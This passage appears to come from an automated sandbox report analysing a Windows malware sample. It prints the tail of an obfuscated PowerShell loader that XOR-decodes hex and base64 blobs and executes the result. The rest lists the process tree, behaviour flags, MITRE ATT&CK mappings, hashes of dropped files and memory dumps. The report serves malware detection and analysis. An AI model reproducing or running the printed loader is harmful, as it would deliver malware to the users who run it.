c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd';$shAzAitV='Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo=';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, '$nrNSFmCc', ''));$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'') $aHfO2a"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES152F.tmp" "c:\Users\Admin\AppData\Local\Temp\xv2zjqop\CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP"
      4⤵
      PID:4260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d660b4081ab6ade316d00c0ea110b6b74359e7cfef08b4b0a1da104b21812425
MD5 db8d69a507da97e65f31822dc604664b
SHA1 5e20cc463c09e8fe36a2e9ce9fdbabcdfda77984
SHA512 96095c61fcd3d90e20e4e16591f4cdfadd48ca85a036c73dce2a00e00cd3cce68c5d26822218bb0f48de55d68d101210a03c5ce0d4e33d5924ee13b159a32d2e
TLSH
T1B8215733F3CC8664D89A413650CEAC1036B787DB409FDE9BAB84D559B42F689CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat

Path C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat
Size 21KB
SHA256 16a71629ce96e7d68262c2392cceaaee0d8c5b381006e3e213800f97a93c5874
MD5 919ec902ee5d7dd68688520001eaa900
SHA1 e7e69616c93363dd7099e2e691d56fd2dd718225
SHA512 83209e2c33a19bcdd29a988eeb47e0956b3c1608ba39ad64fa976a3a242fe4c3fe5a7d4bd4805075d53963cd8ca86b895e0f7bb39f29335bad9ea793f7ddf84c
SSDEEP 384:vIoMRo0r8DyUkrTTt5RdxjYh6aE8fdYsAIoMRo0r8DyUkrTTt5RdxjYh6aE8fdYs:veY7a/tvgCTeY7a/tvgCt6
TLSH
T13EA2092AE542B454A96393B739F2D0D1E483FA034E0FC8D971BC50981F92BD573EAC89
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES152F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES152F.tmp
Size 1KB
SHA256 bcf5bd8cd4b534d267212f06651abd10d9296a996c0dbaed8decb85937ff26ea
MD5 d7201469aa3d3bfccd99a6d3dc1a3b5f
SHA1 8ed3c8af8868a9802b2578f9c9500c038011da97
SHA512 a13d67f32b6031cdca23ee1445c704b76317fd288a77760ae81815c2aa3e08073f22f768244d6408e0138b86c7141f1e324b0603b783799bf1644c976da865f2
TLSH
T19921AB0557FD431FF0B38B30A9FA171B9278FDA4EFA1936A498002682C51504EEE1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES54AE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES54AE.tmp
Size 1KB
SHA256 0746492a4b9a85b71163cd0e55a671c5524d6b7f492bc6406f19fb2ff486a410
MD5 f67d2d40db22236aab9b0affc392e8ed
SHA1 c1f6512bf17fb99beb21b573a70c01be80a43ac7
SHA512 68aa2ed1cf8d6f946fd7ce5bad2641e72826d9f2408444e2272fe9f1166282b0baa8bd946270e52f355fd5bcf7b909c2196c2b8e082f09ac375299b94b4bf70c
TLSH
T1ED21800553E9870FF07747316AF6172F9679FE54DFA2A79E944042282C52604EFE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lupcrs2f.rl5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lupcrs2f.rl5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pw4fpqc0.dll

Path C:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.dll
Size 3KB
SHA256 c0b7c4bf7edacad0803ff31737f58651f4fa5a29a14da088ef983f42525de2e2
MD5 c11a00a48783f42cc31aeb6a2bbe7f06
SHA1 90612c8b19eda7bf83836f1e847b3ac6666bf354
SHA512 49ca1c964ef8c0e08ba37d635d9f7789a01cfba0cd78cb72e5f6d3b6fcbb77f462cd2744f6a1257815ae4eae4f4aa225f9b7b384bf050b874569cc673fd11dc0
TLSH
T1E651DF1A63E8462BE4AB0B317EF343172778F910EB62535E5980023CAC253645F32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

xv2zjqop.dll

Path C:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.dll
Size 3KB
SHA256 0efc7198ac6e60faea3db8f105c98c1740842312744881954329ed61bd8472e8
MD5 a4ee0c43be48db72d27a3b28a17f2fb6
SHA1 a691ebbe21cc2d4610aaf2cfab45e6654038b4bf
SHA512 77089c372074bc7cfb6914e73cdf2feee86efba3714513e9a78753683bab021573ab204c82c5c8c9cc8dbe9846fe38c3ca821aa7223f0126c97c6f362f5bfb3d
TLSH
T18051FF1A53E8466BE4770B317FF7431327B8F920AB62535D4880427CAC213646E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC35B31B0B40564380BF715E25C444E71C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\CSC35B31B0B40564380BF715E25C444E71C.TMP
Size 652B
SHA256 e5da7ecfb91215b68768543d8afc1ba02eb987ae87f83d79de60992452693395
MD5 5a5238f29f67055fc86a2dbe9994d1f6
SHA1 a813a39630eb276dab1f75c6775c30b309513f52
SHA512 bb0e1a2d32a66b45566345ad50de4c3f7b95e9f49e961175d112d66c02243b296ff509c0898053fc6678323dd9b4b9575b48b4df65a9a4ba625349cb21c99307
TLSH
T176F05E4973F8420EF0F74B30BEF6536395ADBD64DE3293ED6440032968649108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

pw4fpqc0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

pw4fpqc0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.cmdline
Size 369B
SHA256 62cb979b5a27da92e116f05e1c3e8fcead8eba3190cf1bb9fc73a3da035bfc80
MD5 20f4288e3db24614fa213ede460ab1c9
SHA1 5e7114a04a2e231d9ef078766979d3c3f8a8cda8
SHA512 a288f7a95f660086564364611ef7fbb41daf8da8c697e88abd096d014c2985a6677fa539be2116ff664393365061b57c4de5b85f7d80452ec15caa9c6fa699fb
TLSH
T176E0C62EA34BC27E01ED100B22BBC4ACC272079339907FAE90D0840DF46F0182BD2B81
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xv2zjqop\CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP
Size 652B
SHA256 f08f50ab7e8362918932b02b1202bdae4af9bf1ef604c7a9b238900a20dde295
MD5 441759b8ebd3d3b1c0592bfaf712bb18
SHA1 cd33ae5678094c47ab3c1b908eb27fe456f5b53c
SHA512 f82e081b53a06db39a7123e4003d9815458a25056de1b8f6109712634df3b41389cfae603cdbc3ae037a69a9c5c34fa223798911b846e1e103b0658e610b7adb
TLSH
T10AF05E0963F8520EF0F35B30BEF6436391ACBC64DE3293ED1895432928645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xv2zjqop.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.cmdline
Size 369B
SHA256 2d10966699d12d6b29187b90756358ee42449869ec654b9dfd1298698452eef5
MD5 8a721f8e2b4391f6de4a77c8072f3f30
SHA1 a83de454c6c06a17557c389b32bec2ccc802b142
SHA512 7a523c8c4bcf94b682ab715dbced723c8f946aba81dece7e8e8bf788c381269a20fb13d06a201728c7ed654e8136c5e70992d0bac001cc81580d58cda6e3baa5
TLSH
T186E0D82B5256C67F5AD9140B237BC5ACD27236C73A41BF84519088DDD01750467E1799
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2236-56-0x00000245432F0000-0x00000245432F8000-memory.dmp

Download

memory/2784-1-0x00007FFA37AEF000-0x00007FFA37AF0000-memory.dmp

Download

memory/2784-15-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/2784-0-0x0000000000DD0000-0x000000000100A000-memory.dmp

Download

memory/2784-3-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/2788-7-0x000002012F690000-0x000002012F6B2000-memory.dmp

Download

memory/2788-8-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/2788-9-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/2788-11-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/2788-29-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

Download

memory/4756-31-0x000001E8F7520000-0x000001E8F7536000-memory.dmp

Download

memory/4756-28-0x000001E8F7160000-0x000001E8F7168000-memory.dmp

Download